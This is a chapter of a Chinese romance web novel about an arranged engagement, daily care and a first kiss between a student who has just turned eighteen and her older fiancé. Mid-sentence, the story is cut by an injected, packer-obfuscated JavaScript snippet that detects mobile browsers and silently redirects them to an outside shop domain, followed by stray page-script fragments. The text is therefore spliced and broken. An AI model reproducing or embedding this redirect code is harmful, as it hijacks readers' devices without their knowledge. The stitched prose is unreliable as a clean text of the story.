老太太和岑尔说要订婚,她原本打算拒绝,但还是去见了一面,看看合不合眼缘。
淡极生艳。
这是她看见徐衍青后脑子里冒出来的第一个词。
他整个人干干净净的,头发是浓郁的黑,皮肤是通透细腻的白。
低头喝水时额前的碎发微微遮住那双淡漠的眼,唇色恰如春日清晨带水的玫瑰。
这张脸明明很张扬,偏偏被淡漠的性格压了下去,看得人心里痒痒的。
徐衍青起先不愿意来,原本也是不想拂了长辈的面子才来的,但看着对面的岑尔,心里忽然一动,答应了下来。
彼时岑尔还在读高中,学习压力很大,平时也没什么时间,但都谈恋爱了,总不能不理人。
周末的时候象征性地打打电话,有一搭没一搭地聊着,这也是两人为数不多的交流
徐衍青在读大学,课业也很忙,他平时不会去吵她,只是会根据她的体质调配一些调养身体的药茶寄过去给她喝。
看见什么有趣的东西也会拍下来,等周末的时候发给她看。
有段时间岑尔压力大睡不着,晚上打电话给他,他总是会接,然后陪她断断续续地聊天,直到听见她沉稳的呼吸声才去睡觉。
那一周连同花茶一起寄回去的,还有他做的安神香囊。
这段关系目前来说很舒服,没有期待,没有压力,也没有爱。
这样的日子持续到寒假,徐衍青放假早先回来了,为了让他们培养感情,长辈们索性在岑尔家给他旁边租了一套房子。
白天徐衍青就干自己的事情,看书或者出门去和师父看诊,他会去花园帮她照料花花草草,抽出一定的时间来打扫卫生。
其实岑尔家里挺空的,尤其是厨房,基本没动过,别说调味料,连锅具都没有。
为此徐衍青特地把厨房要用的东西都买回来了,冰箱里也填满了,平时肚子饿或者想弄点东西吃也方便。
晚上的时候,徐衍青会给她准备好温热的蜂蜜牛奶助眠,除此之外,二人最多的交流是关于学习的。
岑尔数学不是很好,现在高三最重要的是把数学拉上去,基本上她不会的题会先自己琢磨一遍,实在不会才去问徐衍青。
虽然读大学了,但徐衍青对这些题目还是手到擒来,解题思路也很清晰。
每次听完岑尔总是会很震惊地看着他说——你太厉害,读了大学还会做这些,而且方法比老师的还好懂。
他总是会笑着摸她的头说,“是你聪明。”
被徐衍青夸是一件很令人高兴的事情,岑尔自然非常享受,总是毫不客气地说——当然!
基本上徐衍青不会让她睡太晚,到点了就压着她去睡觉,以防她爬起来偷偷学习,他总会守着她睡着才会离开回自己的房间。
有几次岑尔故意装睡,等徐衍青离开了就爬起来看书,可奇怪的是,每次都会被抓到。
被抓了几次她就放弃了,“徐衍青,你睡觉是不是睁一只眼闭一只眼啊,怎么每次都会被你抓到。”
徐衍青无奈地笑,摸摸她的头催促道:“所以要乖乖睡觉,不要被我抓到了。”
早上他会早早起来给准备好早餐,高三能多睡几分钟总是好的,早餐总是方便带在身上的,做好就去喊她起床,然后送去学校。
每次送到校门口,总有人回头看他,岑尔不喜欢,气呼呼地给徐衍青戴上帽子遮住,半威胁地说:“这样太影响别人学习了,不准给别人看。”
而他总是温和地笑笑,摸摸她的头发说:“知道了,快去吧,不然要迟到了。”
这时她才会依依不舍地离开,有时候实在是不想去学校,她也会无理取闹地说:“徐衍青,你晚上能不能来接我啊。”
他会答应的,只要是对她好的事情,他总是会答应。
晚上接人的时候,他会带各种各样的小点心去,每次都不重样,也算是给她枯燥乏味的高三生活带来一点惊喜。
所以岑尔下晚自习的时候不再是慢悠悠地走了。
有几次徐衍青发现岑尔总是和同一个男同学一起出来,他没说什么,只是走过去亲昵地摸摸她的头,接过她的书包背着,又将手里的食物递给她,顺带问了一句:“他是你的好朋友吗?
岑尔狡黠地眨了眨眼,食物在她嘴里,说出来的话模模糊糊的,“是隔壁班的班长,遇到就一起出来了。”
他笑笑,“原来是这样。”
此后,徐衍青一天不落地去接她放学,再也没看见那个男生。
期末考试的时候岑尔在考场过完了自己的十八岁生日。
寒假来临,她终于有时间了,那天晚上她洗完澡窝在床上等徐衍青来,他仍旧按照往常的习惯,端了一杯蜂蜜牛奶进来。
这次她没立马接过,而是笑眯眯地说:“你喝一口,试试烫不烫。”
虽然他有些奇怪,但还是照她说的做,蜂蜜味的牛奶在他嘴里慢慢化开,最后只剩醇香,他咂咂嘴:“不烫,温的。”
岑尔这才接过牛奶,乳白色的牛奶在杯壁上薄薄挂着,对着杯子喝了下去。
徐衍青没来得及阻止她就喝完了,脸以肉眼可见的速度红了,往日淡漠的眼睛瞬间被点亮,无措地眨了几下,“…杯子我喝过了。”
“可我们是要结婚的关系呀,我觉得…”岑尔微微皱眉思考,最后眉头舒展开来,整个人有些温柔,“这没问题的。”
徐衍青愣住了,心里有种奇怪的感觉冒出来,也不说话,就直愣愣看着她。
她坐在床边抬头看着他,眼睛明亮又柔善,像一只无辜纯良的兔子,完全相信他,黑发柔顺地淌在肩膀上,嘴角还有淡淡的奶渍。
他伸手用指腹轻轻擦去她嘴角的奶渍,总觉得碰到她的地方好烫,轻声地说:“嗯,这样是可以的。”
徐衍青洗完杯子就看见她连打了好几个哈欠。
于是走过去摸摸她的头,柔声道:“睡觉吗?明天还有很多时间。”
“唔…睡觉,有点困,你也睡觉吧,和我一起。”她揉了揉眼睛问。
他犹豫了,半响才说:“一起…睡?”
“嗯,一起睡。”岑尔并没有犹豫,拉着他做到自己身边,“和我一起睡,睡在这张床上。”
徐衍青一时间摸不透她什么意思,抽回手,眉头下压,眼尾拉出绵长的褶皱,略微严肃地说:
“我比你大三岁,是一个成年男性,即使你已经成年,即使我们以后会订婚,但这并不代表着现在可以越过红线,况且你还在高三,不能分心。”
“我知道你睡不着,你失眠对不对?”她安静地说。
徐衍青没想到她会这样说,没有反驳:“…对。”
“每晚你都是等我睡着了才回房间,每次我偷偷起来学习你都知道,说明你根本没睡着,既然睡不着,那就和我一起睡吧,这样至少我能陪着你。”
“可是…”他还是觉得有些不妥。
岑尔伸出手比了一个“嘘”的手势,“我不会做什么,你也不会做什么,只是睡觉,顶多早上起来的时候我在你怀里,我只是觉得你一个人太孤单了,想陪陪你。”
这段时间她也知道徐衍青大概是一个什么样的人,安静,沉稳,有事就一个人不声不响地解决,解决完了才不咸不淡地说一下,对她也是挑不出任何错处。
每次看到他一个人的时候,她总觉得心口隐隐在疼。
那天他在学校门口接她,别人都在看手机或者聊天,只有他,静静站在角落等她出来,墙角的灯薄薄落了他一身,将他与周围的一切都分隔开来,竟显得有几分落寞。
每当看见她的时候,脸上才露出笑意。
那一瞬间,她没有慢悠悠地走,而是拔腿跑过去。
她想,只要她尽快走到他面前,那他一个人等待的时间就会少一些。
那时她忽然意识到,好像有些东西不一样了。
岑尔往旁边挪了挪,空出了一个人的位置,掀起被子示意他躺进来,“一起睡吧,我怕冷,你帮我捂捂手。”
上床之后岑尔在被子里找徐衍青的手,凉的,可能是刚刚洗了杯子。
但她的手是热的,抓住之后她没有松手,反而帮他捂起手来,还轻声叮嘱到:“冬天了,家里的水龙头都连了热水器的,用热水洗,不然会长冻疮的。”
“嗯,记住了,下次用热水。”徐衍青低头看见她微微卷翘的睫毛,还有秀气挺拔的鼻子。
视线落在她的手上,指甲是淡淡的肉粉色,好小的一双手,小到他一只手就能握住,暖呼呼的。
但就是这样一双手,没多久就把他捂热了。
岑尔松开手,挪开一点距离准备睡觉,忽然抬头看着他说:“你之前和别人睡过觉吗?”
徐衍青不明所以,但还是如实说:“没有,小时候性子就安静,一直一个人睡。”
原来是这样,原来从小就省心,怪不得。
岑尔向他那边挪了挪,又抬起头像小猫那样嗅了嗅,“你身上好好闻,好香。”
徐衍青的耳朵慢慢红了,慢慢回握她的手,哑着声说:“大概是洗衣液的味道。”
他并没有靠她太近,还是保持着安全的距离,打算等她睡着后就离开,于是侧着身看她闭眼睡觉的样子,真的很乖,像一只小猫。
很快,她睡着时熟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17767489|209770||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
悉的呼吸声传来,他看得有些入迷了,竟然忘记自己要离开了。
指腹轻轻掠过她的脸颊,顺带将调皮的发丝拨至耳后,眼底有化不开的沉重夜色,叹谓到:“还是要有点防备心的,我也不算什么好人。”
他慢慢手回收,准备起身离开,但今夜不知怎么的,一点点动作她就会惊醒,“嗯?你没睡着吗?”她朝他伸手:“过来。”
为了不让她怀疑,徐衍青犹豫过后还是朝她挪过去了。
谁知岑尔直接将他搂在怀里,手虚虚笼着他,一下一下地拍着他,温柔地说:“在我怀里就好,我抱着你睡,怎么能从小就一个人睡呢,要有人陪的,晚上黑漆漆的很可怕。”
徐衍青愣住了,原来…睡觉是要有人陪的吗?难道不是每个人都应该小时候就自己睡觉吗?
她迷迷糊糊地说:“怕的话闭紧眼睛就好。”
他轻轻叹了一口气,正当他打算起身离开的时候,忽然意识到他枕着她的锁骨,面前是她柔软的胸脯,稍微移动就会碰到,偏偏头顶传来她浅浅的呼吸。
好不容易睡着,还是不要弄醒了。
最后,为了两个人都能睡的舒服些,他伸手环住了她的腰,但没贴太近。
慢慢的,眼皮有点沉重,他想,应该是想睡觉了。
第二天醒来的时候身边已经没有人来,但摸着还是热的,岑尔迷迷糊糊撑着身子爬起来,想去找人。
“找什么?”徐衍青靠在门口看着她,嘴角带着笑意,整个人特别的阳光明媚。
她撇撇嘴,“还不是在找你,我记得你半夜想偷偷离开。”
他走过去摸摸她乱糟糟的头发,用手指大致梳理好,捧着她的脸说:“还记得昨晚我们是怎么睡的吗?”
“唔…”脸上有点热热的,眼睛眨巴几下,突然觉得肩膀有些酸,很认真地回想:“我好像抱着你睡的吧?”
“嗯,我睡得很好,你呢?身体有不舒服吗?毕竟是我枕着你睡的。”他的指腹蹭了蹭她柔软的脸颊,柔声道:“等会我给你揉揉,下次找一个两个人都舒服的姿势。”
“好啊。”岑尔很开心他能这么说,至少也有她能帮上忙的地方了。
徐衍青突然蹲下来,骨节分明却又温暖的手掌轻轻覆在她的手背上,“谢谢你。”
回应他的,是岑尔的十指紧扣。
从那以后,岑尔每天晚上都会让徐衍青留下来睡觉,也不知道是不是错觉,她感觉他的状态似乎一天比一天好了。
基本上徐衍青都会先起来打坐或者练功,但有时候也会赖床,醒了就在床上静静地看着她睡觉的样子,实在忍不住了会摸摸她的脸。
不过早上的时候他会先和岑尔拉开一段距离,免得自己硌着她,等平静下去了再重新抱着她。
虽然是寒假,但岑尔还是保持着午休的习惯,每天中午都会在睡榻上小憩,顺带也拉上徐衍青。
睡塌很大,容纳两个人绰绰有余,每次这个时候徐衍青总会抱着她的腰,像一个刚出生的小狗轻轻枕在她的小肚子上睡觉。
岑尔会搂住他,帮他盖上毯子,有节奏地轻拍他的背,像哄小孩一样哄他睡觉,他总是睡得很快。
午睡的时间不会很久,她会按时叫醒他,每次这个时候他总是会不自觉地撒娇然后轻蹭她的小肚子,痒痒的,但是很可爱。
有一次岑尔实在是忍不住了,低头捧着他的脸亲了一下,这一亲怀里的人立马睁眼了。
他看着她,像是在确认什么——确认刚才那个温热的触感不是幻觉,确认她不是无心的。
就在她打算抬头离开的时候,徐衍青忽然扣住她的后颈压向自己,追着她的唇亲上去。
他的节奏把握的很好,舌尖一直在细细描摹她的唇,一会轻嘬,一会舔咬,亲得她身子都是软的。
忽然,趁着她放松下来,舌尖直直撬开软唇,向里去寻她的舌,寻到之后便不肯松开,一直纠缠在一起,掠夺她口腔里尽数的空气,似乎想把她吞入腹中。
岑尔不自觉发出小兽般的呜咽,她不会换气,只能伸手推徐衍青,他也察觉到了,渐渐慢了下来,低声说:“呼吸…”
没等她呼吸几秒,他又吻了上来。
一时间,房间里只剩下两人接吻的水液声,接吻的时候嘴角留下了一丝透明的水液,不知道是谁的,都被徐衍青悉数吃进嘴里。
不知过了多久,两人终于气喘吁吁地停了下来,岑尔在一边大口呼吸着,徐衍青则餍足地看着她,指腹摸了摸被他亲得红肿的唇,笑得很满足,“做得真好。”
岑尔想打他,却被他抓住,随之而来的是耳边炽热的气息:“还想来吗?”